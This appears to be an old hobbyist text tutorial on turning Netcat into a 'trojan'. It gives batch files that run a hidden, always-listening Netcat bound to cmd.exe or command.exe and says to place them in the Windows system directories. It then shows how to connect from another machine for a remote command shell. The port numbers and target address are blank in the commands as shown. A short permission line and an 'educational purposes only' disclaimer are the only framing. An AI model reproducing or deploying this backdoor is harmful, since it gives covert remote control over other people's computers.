Netcat is a free program that is used for connecting to other computers (often refered to as "telnet on steroids"). It can do advanced connections through M$'s command interpreter and Unix Shell. Here is how to create a simple trojan using Netcat. Make a new batch file with these contents. ::begining of trojan bat @echo off nc -L -d -p -t -e cmd.exe ::end of trojan bat This file must be saved in %SYSTEMROOT%\system32 to work. Also, a copy of NC.exe must be saved into %SYSTEMROOT%\system32. What this does is runs Netcat with the following options... -L tells netcat to never close and to always wait for connections -d tells netcat to be hidden and not open up a window -p tells netcat what port to listen on (1-65535) -t tells netcat to accept all connections to the specified port -e tells netcat what program to run once this batch has been made Once this batch file has been made and run on ONE OF YOUR COMPUTERS OR A COMUTER YOU HAVE WRITTEN PERMISSION TO PUT IT ON then you can connect to it by using this command in M$'s command interpretter... nc -v Once you enter that in then you should get a command interpretter on that computer. You now have ultimate power of the computer you connected to. Don't you feel proud of yourself :-) ***Note*** The batch file I show'd you above will not work on a M$ Winblows 95/98. If you want it to work on these OS's you will need to make these slight adjustments... ::beginning of trojan bat @echo off nc -L -d -p -t -e command.exe ::end of trojan bat And it needs to be saved in %SYSTEMROOT% not %SYSTEMROOT%\system32. Also a copy of NC.exe should also be saved in %SYSTEMROOT%. These changes are almost self explanitory so I will leave the that up to you. ****************************************************************************** *****************gopher://sdf.lonestar.org/11/users/bkjkhker****************** ******************************Copyright(c) 2007******************************* This was made for educational purposes only and I (Jeremy Overman) am not responsable for anything you do with this information.
